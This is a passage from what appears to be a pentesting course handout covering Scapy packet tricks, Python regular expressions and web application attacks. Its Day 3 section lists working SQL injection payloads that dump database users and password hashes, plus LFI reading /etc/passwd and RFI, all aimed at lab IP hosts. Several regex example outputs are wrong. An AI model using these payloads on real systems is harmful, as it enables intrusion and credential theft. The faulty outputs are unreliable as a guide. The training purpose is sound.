 ---------------------------Type This-----------------------------------
 
     send(i/u/"YOUR NAME SENT VIA UDP\n")
 
 ----------------------------------------------------------------------
 
 
 On the Windows target, you should see the message appear
 
 
 
 
 #######################################
 # Lesson 24: Ping Sweeping with Scapy #
 #######################################
 
 ---------------------------Paste This-----------------------------------
 ##############21/05/2019#####################
 
 #!/usr/bin/python
 from scapy.all import *
 
 TIMEOUT = 2
 conf.verb = 0
 for ip in range(0, 256):
     packet = IP(dst="10.10.30." + str(ip), ttl=20)/ICMP()
 	# You will need to change 10.10.30 above this line to the subnet for your network
     reply = sr1(packet, timeout=TIMEOUT)
     if not (reply is None):
          print reply.dst, "is online"
     else:
          print "Timeout waiting for %s" % packet[IP].dst
 
 ----------------------------------------------------------------------
 
 
 ###############################################
 # Checking out some scapy based port scanners #
 ###############################################
 
 ---------------------------Type This-----------------------------------
 broken link
 wget http://45.63.104.73/rdp_scan.py
 
 cat rdp_scan.py
 
 sudo python rdp_scan.py
 
 ----------------------------------------------------------------------
 
 ######################################
 # Dealing with conf.verb=0 NameError #
 ######################################
 
 ---------------------------Type This-----------------------------------
 
 conf.verb = 0
 NameError: name 'conf' is not defined
 
 Fixing scapy - some scripts are written for the old version of scapy so you'll have to change the following line from:
 
 from scapy import *
 	to
 from scapy.all import *
 
 
 
 
 Reference:
 http://hexale.blogspot.com/2008/10/wifizoo-and-new-version-of-scapy.html
 
 
 conf.verb=0 is a verbosity setting (configuration/verbosity = conv
 
 
 
 Here are some good Scapy references:
 http://www.secdev.org/projects/scapy/doc/index.html
 http://resources.infosecinstitute.com/port-scanning-using-scapy/
 http://www.hackerzvoice.net/ouah/blackmagic.txt
 http://www.workrobot.com/sansfire2009/SCAPY-packet-crafting-reference.html
 
 
 
 
 
 
 
 
 
 #######################
 # Regular Expressions #
 #######################
 
 
 
 **************************************************
 * What is Regular Expression and how is it used? *
 **************************************************
 
 
 Simply put, regular expression is a sequence of character(s) mainly used to find and replace patterns in a string or file.
 
 
 Regular expressions use two types of characters:
 
 a) Meta characters: As the name suggests, these characters have a special meaning, similar to * in wildcard.
 
 b) Literals (like a,b,1,2…)
 
 
 In Python, we have module "re" that helps with regular expressions. So you need to import library re before you can use regular expressions in Python.
 
 
 Use this code --> import re
 
 
 
 
 The most common uses of regular expressions are:
 --------------------------------------------------
 
 - Search a string (search and match)
 - Finding a string (findall)
 - Break string into a sub strings (split)
 - Replace part of a string (sub)
 
 
 
 Let's look at the methods that library "re" provides to perform these tasks.
 
 
 
 ****************************************************
 * What are various methods of Regular Expressions? *
 ****************************************************
 
 
 The ‘re' package provides multiple methods to perform queries on an input string. Here are the most commonly used methods, I will discuss:
 
 re.match()
 re.search()
 re.findall()
 re.split()
 re.sub()
 re.compile()
 
 Let's look at them one by one.
 
 
 re.match(pattern, string):
 -------------------------------------------------
 
 This method finds match if it occurs at start of the string. For example, calling match() on the string ‘AV Analytics AV' and looking for a pattern ‘AV' will match. However, if we look for only Analytics, the pattern will not match. Let's perform it in python now.
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result = re.match(r'AV', 'AV Analytics ESET AV')
 print (result)
 ----------------------------------------------------------------------
 
 Output:
 <_sre.SRE_Match object at 0x0000000009BE4370>
 
 Above, it shows that pattern match has been found. To print the matching string we'll use method group (It helps to return the matching string). Use "r" at the start of the pattern string, it designates a python raw string.
 
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result = re.match(r'AV', 'AV Analytics ESET AV')
 print (result.group(0))
 ----------------------------------------------------------------------
 
 Output:
 AV
 
 
 Let's now find ‘Analytics' in the given string. Here we see that string is not starting with ‘AV' so it should return no match. Let's see what we get:
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result = re.match(r'Analytics', 'AV Analytics ESET AV')
 print (result)
 
 ----------------------------------------------------------------------
 
 
 Output:
 None
 
 
 There are methods like start() and end() to know the start and end position of matching pattern in the string.
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result = re.match(r'AV', 'AV Analytics ESET AV')
 print (result.start())
 print (result.end())
 
 ----------------------------------------------------------------------
 
 Output:
 0
 2
 
 Above you can see that start and end position of matching pattern ‘AV' in the string and sometime it helps a lot while performing manipulation with the string.
 
 
 
 
 
 re.search(pattern, string):
 -----------------------------------------------------
 
 
 It is similar to match() but it doesn't restrict us to find matches at the beginning of the string only. Unlike previous method, here searching for pattern ‘Analytics' will return a match.
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result = re.search(r'Analytics', 'AV Analytics ESET AV')
 print (result.group(0))
 ----------------------------------------------------------------------
 
 Output:
 Analytics
 
 Here you can see that, search() method is able to find a pattern from any position of the string but it only returns the first occurrence of the search pattern.
 
 
 
 
 
 
 re.findall (pattern, string):
 ------------------------------------------------------
 
 
 It helps to get a list of all matching patterns. It has no constraints of searching from start or end. If we will use method findall to search ‘AV' in given string it will return both occurrence of AV. While searching a string, I would recommend you to use re.findall() always, it can work like re.search() and re.match() both.
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result = re.findall(r'AV', 'AV Analytics ESET AV')
 print (result)
 ----------------------------------------------------------------------
 
 Output:
 ['AV', 'AV']
 
 
 
 
 
 re.split(pattern, string, [maxsplit=0]):
 ------------------------------------------------------
 
 
 
 This methods helps to split string by the occurrences of given pattern.
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 result=re.split(r'y','Analytics')
 result
  ----------------------------------------------------------------------
 
 Output:
 ['Anal', 'tics']
 
 Above, we have split the string "Analytics" by "y". Method split() has another argument "maxsplit". It has default value of zero. In this case it does the maximum splits that can be done, but if we give value to maxsplit, it will split the string. Let's look at the example below:
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.split(r's','Analytics eset')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['Analytic', ' e', 'et'] #It has performed all the splits that can be done by pattern "s".
 
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.split(r's','Analytics eset',maxsplit=1)
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 []
 
 
 
 
 
 re.sub(pattern, repl, string):
 ----------------------------------------------------------
 
 It helps to search a pattern and replace with a new sub string. If the pattern is not found, string is returned unchanged.
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.sub(r'Ruby','Python','Joe likes Ruby')
 print (result)
 ----------------------------------------------------------------------
 
 Output:
 ''
 
 
 
 
 
 re.compile(pattern, repl, string):
 ----------------------------------------------------------
 
 
 We can combine a regular expression pattern into pattern objects, which can be used for pattern matching. It also helps to search a pattern again without rewriting it.
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 pattern=re.compile('XSS')
 result=pattern.findall('XSS is Cross Site Scripting, XSS')
 print (result)
 result2=pattern.findall('XSS is Cross Site Scripting, SQLi is Sql Injection')
 print (result2)
 
 ----------------------------------------------------------------------
 
 Output:
 ['XSS', 'XSS']
 ['XSS']
 
 Till now,  we looked at various methods of regular expression using a constant pattern (fixed characters). But, what if we do not have a constant search pattern and we want to return specific set of characters (defined by a rule) from a string?  Don't be intimidated.
 
 This can easily be solved by defining an expression with the help of pattern operators (meta  and literal characters). Let's look at the most common pattern operators.
 
 
 
 
 
 **********************************************
 * What are the most commonly used operators? *
 **********************************************
 
 
 Regular expressions can specify patterns, not just fixed characters. Here are the most commonly used operators that helps to generate an expression to represent required characters in a string or file. It is commonly used in web scrapping and  text mining to extract required information.
 
 Operators	Description
 .	        Matches with any single character except newline ‘\n'.
 ?	        match 0 or 1 occurrence of the pattern to its left
 +	        1 or more occurrences of the pattern to its left
 *	        0 or more occurrences of the pattern to its left
 \w	        Matches with a alphanumeric character whereas \W (upper case W) matches non alphanumeric character.
 \d	        Matches with digits [0-9] and /D (upper case D) matches with non-digits.
 \s	        Matches with a single white space character (space, newline, return, tab, form) and \S (upper case S) matches any non-white space character.
 \b	        boundary between word and non-word and /B is opposite of /b
 [..]	        Matches any single character in a square bracket and [^..] matches any single character not in square bracket
 \	        It is used for special meaning characters like \. to match a period or \+ for plus sign.
 ^ and $	        ^ and $ match the start or end of the string respectively
 {n,m}	        Matches at least n and at most m occurrences of preceding expression if we write it as {,m} then it will return at least any minimum occurrence to max m preceding expression.
 a| b	        Matches either a or b
 ( )	        Groups regular expressions and returns matched text
 \t, \n, \r	Matches tab, newline, return
 
 
 For more details on  meta characters "(", ")","|" and others details , you can refer this link (https://docs.python.org/2/library/re.html).
 
 Now, let's understand the pattern operators by looking at the below examples.
 
 
 
 ****************************************
 * Some Examples of Regular Expressions *
 ****************************************
 
 ******************************************************
 * Problem 1: Return the first word of a given string *
 ******************************************************
 
 
 Solution-1  Extract each character (using "\w")
 ---------------------------------------------------------------------------
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'.','Python is the best scripting language')
 print (result)
 ----------------------------------------------------------------------
 
 Output:
 ['P', 'y', 't', 'h', 'o', 'n', ' ', 'i', 's', ' ', 't', 'h', 'e', ' ', 'b', 'e', 's', 't', ' ', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', ' ', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
 
 
 Above, space is also extracted, now to avoid it use "\w" instead of ".".
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'\w','Python is the best scripting language')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['P', 'y', 't', 'h', 'o', 'n', 'i', 's', 't', 'h', 'e', 'b', 'e', 's', 't', 's', 'c', 'r', 'i', 'p', 't', 'i', 'n', 'g', 'l', 'a', 'n', 'g', 'u', 'a', 'g', 'e']
 
 
 
 
 Solution-2  Extract each word (using "*" or "+")
 ---------------------------------------------------------------------------
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'\w*','Python is the best scripting language')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['Python', '', 'is', '', 'the', '', 'best', '', 'scripting', '', 'language', '']
 
 
 Again, it is returning space as a word because "*" returns zero or more matches of pattern to its left. Now to remove spaces we will go with "+".
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'\w+','Python is the best scripting language')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['Python', 'is', 'the', 'best', 'scripting', 'language']
 
 
 
 
 Solution-3 Extract each word (using "^")
 -------------------------------------------------------------------------------------
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'^\w+','Python is the best scripting language')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['Python']
 
 If we will use "$" instead of "^", it will return the word from the end of the string. Let's look at it.
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'\w+$','Python is the best scripting language')
 print (result)
 ----------------------------------------------------------------------
 
 Output:
 [‘language']
 
 
 
 
 
 **********************************************************
 * Problem 2: Return the first two character of each word *
 **********************************************************
 
 
 
 
 Solution-1  Extract consecutive two characters of each word, excluding spaces (using "\w")
 ------------------------------------------------------------------------------------------------------
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'\w\w','Python is the best')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['Py', 'th', 'on', 'is', 'th', 'be', 'st']
 
 
 
 
 
 Solution-2  Extract consecutive two characters those available at start of word boundary (using "\b")
 ------------------------------------------------------------------------------------------------------
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'\b\w.','Python is the best')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['Py', 'is', 'th', 'be']
 
 
 
 
 
 
 ********************************************************
 * Problem 3: Return the domain type of given email-ids *
 ********************************************************
 
 
 To explain it in simple manner, I will again go with a stepwise approach:
 
 
 
 
 
 Solution-1  Extract all characters after "@"
 ------------------------------------------------------------------------------------------------------------------
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'@\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
 print (result)
 ----------------------------------------------------------------------
 
 Output: ['@gmail', '@test', '@strategicsec', '@rest']
 
 
 
 Above, you can see that ".com", ".biz" part is not extracted. To add it, we will go with below code.
 
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'@\w+.\w+','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['@gmail.com', '@test.com', '@strategicsec.com', '@rest.biz']
 
 
 
 
 
 
 Solution – 2 Extract only domain name using "( )"
 -----------------------------------------------------------------------------------------------------------------------
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'@\w+.(\w+)','abc.test@gmail.com, xyz@test.com, test.first@strategicsec.com, first.test@rest.biz')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['com', 'com', 'com', 'biz']
 
 
 
 ********************************************
 * Problem 4: Return date from given string *
 ********************************************
 
 
 Here we will use "\d" to extract digit.
 
 
 Solution:
 ----------------------------------------------------------------------------------------------------------------------
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 
 result=re.findall(r'\d{2}-\d{2}-\d{4}','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['12-05-2007', '11-11-2016', '12-01-2009']
 
 If you want to extract only year again parenthesis "( )" will help you.
 
 
 Code
 
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'\d{2}-\d{2}-(\d{4})','Joe 34-3456 12-05-2007, XYZ 56-4532 11-11-2016, ABC 67-8945 12-01-2009')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['2007', '2016', '2009']
 
 
 
 
 
 *******************************************************************
 * Problem 5: Return all words of a string those starts with vowel *
 *******************************************************************
 
 
 
 
 Solution-1  Return each words
 -----------------------------------------------------------------------------------------------------------------
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'\w+','Python is the best')
 print (result)
 ----------------------------------------------------------------------
 
 Output:
 ['Python', 'is', 'the', 'best']
 
 
 
 
 
 Solution-2  Return words starts with alphabets (using [])
 ------------------------------------------------------------------------------------------------------------------
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'[aeiouAEIOU]\w+','I love Python')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['ove', 'on']
 
 Above you can see that it has returned "ove" and "on" from the mid of words. To drop these two, we need to use "\b" for word boundary.
 
 
 
 
 
 Solution- 3
 ------------------------------------------------------------------------------------------------------------------
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'\b[aeiouAEIOU]\w+','I love Python')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 []
 
 In similar ways, we can extract words those starts with constant using "^" within square bracket.
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'\b[^aeiouAEIOU]\w+','I love Python')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 [' love', ' Python']
 
 Above you can see that it has returned words starting with space. To drop it from output, include space in square bracket[].
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 result=re.findall(r'\b[^aeiouAEIOU ]\w+','I love Python')
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['love', 'Python']
 
 
 
 
 
 
 *************************************************************************************************
 * Problem 6: Validate a phone number (phone number must be of 10 digits and starts with 8 or 9) *
 *************************************************************************************************
 
 
 We have a list phone numbers in list "li" and here we will validate phone numbers using regular
 
 
 
 
 Solution
 -------------------------------------------------------------------------------------------------------------------------------------
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 li=['9999999999','999999-999','99999x9999']
 for val in li:
  if re.match(r'[8-9]{1}[0-9]{9}',val) and len(val) == 10:
      print ('yes')
  else:
      print ('no')
 
 
 ----------------------------------------------------------------------
 
 Output:
 yes
 no
 no
 
 
 
 
 
 ******************************************************
 * Problem 7: Split a string with multiple delimiters *
 ******************************************************
 
 
 
 Solution
 ---------------------------------------------------------------------------------------------------------------------------
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 line = 'asdf fjdk;afed,fjek,asdf,foo' # String has multiple delimiters (";",","," ").
 result= re.split(r'[;,\s]', line)
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 ['asdf', 'fjdk', 'afed', 'fjek', 'asdf', 'foo']
 
 
 
 We can also use method re.sub() to replace these multiple delimiters with one as space " ".
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import re
 line = 'asdf fjdk;afed,fjek,asdf,foo'
 result= re.sub(r'[;,\s]',' ', line)
 print (result)
 
 ----------------------------------------------------------------------
 
 Output:
 asdf fjdk afed fjek asdf foo
 
 
 
 
 **************************************************
 * Problem 8: Retrieve Information from HTML file *
 **************************************************
 
 
 
 I want to extract information from a HTML file (see below sample data). Here we need to extract information available between <td> and </td> except the first numerical index. I have assumed here that below html code is stored in a string str.
 
 
 
 Create a file that contains the following data:
 ---------------------------Paste This-----------------------------------
 
 <tr align="center"><td>1</td> <td>Noah</td> <td>Emma</td></tr>
 <tr align="center"><td>2</td> <td>Liam</td> <td>Olivia</td></tr>
 <tr align="center"><td>3</td> <td>Mason</td> <td>Sophia</td></tr>
 <tr align="center"><td>4</td> <td>Jacob</td> <td>Isabella</td></tr>
 <tr align="center"><td>5</td> <td>William</td> <td>Ava</td></tr>
 <tr align="center"><td>6</td> <td>Ethan</td> <td>Mia</td></tr>
 <tr align="center"><td>7</td> <td HTML>Michael</td> <td>Emily</td></tr>
 ----------------------------------------------------------------------
 
 Solution:
 
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 f=open('file.txt', "r")
 import re
 str = f.read()
 result=re.findall(r'<td>\w+</td>\s<td>(\w+)</td>\s<td>(\w+)</td>',str)
 print (result)
 ----------------------------------------------------------------------
 
 Output:
 [('Noah', 'Emma'), ('Liam', 'Olivia'), ('Mason', 'Sophia'), ('Jacob', 'Isabella'), ('William', 'Ava'), ('Ethan', 'Mia'), ('Michael', 'Emily')]
 
 
 
 You can read html file using library urllib2 (see below code).
 
 
 Code
 ---------------------------Type This-----------------------------------
 $ python3
 import urllib2
 response = urllib2.urlopen('')
 html = response.read()
 ----------------------------------------------------------------------
 NOTE: You can put any website URL that you want in the urllib2.urlopen('')
 
 
 
 
 ##################################
 # Day 2 Homework videos to watch #
 ##################################
 Here is your first set of youtube videos that I'd like for you to watch:
 https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 11-20)
 
 
 
 
 
 
 
 
 
 
                             ###############################################################
 ----------- ############### # Day 3: Web App Pentesting, PW Cracking and more with Python # ############### -----------
                             ###############################################################
 
 ##################################
 # Basic: Web Application Testing #
 ##################################
 
 Most people are going to tell you reference the OWASP Testing guide.
 https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
 
 I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
 
 
 The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
 
     1. Does the website talk to a DB?
         - Look for parameter passing (ex: site.com/page.php?id=4)
         - If yes - try SQL Injection
 
     2. Can I or someone else see what I type?
         - If yes - try XSS
 
     3. Does the page reference a file?
         - If yes - try LFI/RFI
 
 Let's start with some manual testing against 45.63.104.73
 
 
 #######################
 # Attacking PHP/MySQL #
 #######################
 
 Go to LAMP Target homepage
 http://45.63.104.73/
 
 
 
 Clicking on the Acer Link:
 http://45.63.104.73/acre2.php?lap=acer
 
     - Found parameter passing (answer yes to question 1)
     - Insert ' to test for SQLI
 
 ---------------------------Type This-----------------------------------
 
 http://45.63.104.73/acre2.php?lap=acer'
 
 -----------------------------------------------------------------------
 
 Page returns the following error:
 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''acer''' at line 1
 
 
 
 In order to perform union-based sql injection - we must first determine the number of columns in this query.
 We do this using the ORDER BY
 
 ---------------------------Type This-----------------------------------
 
 http://45.63.104.73/acre2.php?lap=acer' order by 100-- +
 -----------------------------------------------------------------------
 
 Page returns the following error:
 Unknown column '100' in 'order clause'
 
 
 ---------------------------Type This-----------------------------------
 
 http://45.63.104.73/acre2.php?lap=acer' order by 50-- +
 -----------------------------------------------------------------------
 
 Page returns the following error:
 Unknown column '50' in 'order clause'
 
 
 ---------------------------Type This-----------------------------------
 
 http://45.63.104.73/acre2.php?lap=acer' order by 25-- +
 -----------------------------------------------------------------------
 
 Page returns the following error:
 Unknown column '25' in 'order clause'
 
 
 ---------------------------Type This-----------------------------------
 
 http://45.63.104.73/acre2.php?lap=acer' order by 12-- +
 -----------------------------------------------------------------------
 
 Page returns the following error:
 Unknown column '12' in 'order clause'
 
 
 ---------------------------Type This-----------------------------------
 
 http://45.63.104.73/acre2.php?lap=acer' order by 6-- +
 -----------------------------------------------------------------------
 
 ---Valid page returned for 5 and 6...error on 7 so we know there are 6 columns
 
 
 
 Now we build out the union all select statement with the correct number of columns
 
 Reference:
 http://www.techonthenet.com/sql/union.php
 
 
 ---------------------------Type This-----------------------------------
 
 http://45.63.104.73/acre2.php?lap=acer' union all select 1,2,3,4,5,6-- +
 -----------------------------------------------------------------------
 
 
 
 Now we negate the parameter value 'acer' by turning into the word 'null':
 ---------------------------Type This-----------------------------------
 
 http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,4,5,6-- j
 -----------------------------------------------------------------------
 
 We see that a 4 and a 5 are on the screen. These are the columns that will echo back data
 
 
 Use a cheat sheet for syntax:
 http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
 
 ---------------------------Type This-----------------------------------
 
 http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),5,6-- j
 
 http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),version(),6-- j
 
 http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@version,6-- +
 
 http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user(),@@datadir,6-- +
 
 
 http://45.63.104.73/acre2.php?lap=null' union all select 1,2,3,user,password,6 from mysql.user -- a
 
 -----------------------------------------------------------------------
 
 
 
 ########################
 # Question I get a lot #
 ########################
 Sometimes students ask about the "-- j" or "-- +" that I append to SQL injection attack string.
 
 Here is a good reference for it:
 https://www.symantec.com/connect/blogs/mysql-injection-comments-comments
 
 Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter.
 
 
 
 
 #########################
 # File Handling Attacks #
 #########################
 
 Here we see parameter passing, but this one is actually a yes to question number 3 (reference a file)
 
 ---------------------------Type This-----------------------------------
 
 http://45.63.104.73/showfile.php?filename=about.txt
 
 -----------------------------------------------------------------------
 
 
 See if you can read files on the file system:
 ---------------------------Type This-----------------------------------
 
 http://45.63.104.73/showfile.php?filename=/etc/passwd
 -----------------------------------------------------------------------
 
 We call this attack a Local File Include or LFI.
 
 Now let's find some text out on the internet somewhere:
 https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
 
 
 Now let's append that URL to our LFI and instead of it being Local - it is now a Remote File Include or RFI:
 
 ---------------------------Type This-----------------------------------
 
 http://45.63.104.73/showfile.php?filename=https://raw.githubusercontent.com/gruntjs/grunt-contrib-connect/master/test/fixtures/hello.txt
  -----------------------------------------------------------------------
 
 #########################################################################################
 # SQL Injection                                                                         #
 # http://45.63.104.73/1-Intro_To_SQL_Intection.pptx #
 #########################################################################################
 
 
 - Another quick way to test for SQLI is to remove the paramter value
 
 
 #############################
 # Error-Based SQL Injection #
 #############################
 ---------------------------Type This-----------------------------------
 
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))--     NOTE: "N" - just means to keep going until you run out of databases
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
 
 -----------------------------------------------------------------------
 
 
 
 #############################
 # Union-Based SQL Injection #
 #############################
 
 ---------------------------Type This-----------------------------------
 
 http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
 http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
 http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
 -----------------------------------------------------------------------
 
     We are using a union select statement because we are joining the developer's query with one of our own.
     Reference:
     http://www.techonthenet.com/sql/union.php
     The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
     It removes duplicate rows between the various SELECT statements.
 
     Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
 
 ---------------------------Type This-----------------------------------
 
 http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
 -----------------------------------------------------------------------
 
     Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
 
 ---------------------------Type This-----------------------------------
 
 http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
 http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
 http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
 http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
 
  -----------------------------------------------------------------------
 
 
 
 
 - Another way is to see if you can get the backend to perform an arithmetic function
 
 ---------------------------Type This-----------------------------------
 
 http://45.77.162.239/bookdetail.aspx?id=(2)
 http://45.77.162.239/bookdetail.aspx?id=(4-2)
 http://45.77.162.239/bookdetail.aspx?id=(4-1)
 
 
 
 http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
 http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
 http://45.77.162.239/bookdetail.aspx?id=1*1
 http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
 http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
 http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
 http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
 http://45.77.162.239/bookdetail.aspx?id=2 &0#
 
 
 
 http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
 http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
 http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
 http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
 
  -----------------------------------------------------------------------
 
 
 ###############################
 # Blind SQL Injection Testing #
 ###############################
 Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
 
 3 - Total Characters
 ---------------------------Type This-----------------------------------
 
 http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--      (Ok, the username is 3 chars long - it waited 10 seconds)
  -----------------------------------------------------------------------
 
 Let's go for a quick check to see if it's DBO
 
 ---------------------------Type This-----------------------------------
 
 http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
  -----------------------------------------------------------------------
 
 Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
 
  ---------------------------Type This-----------------------------------
 
 D  - 1st Character
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
 http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
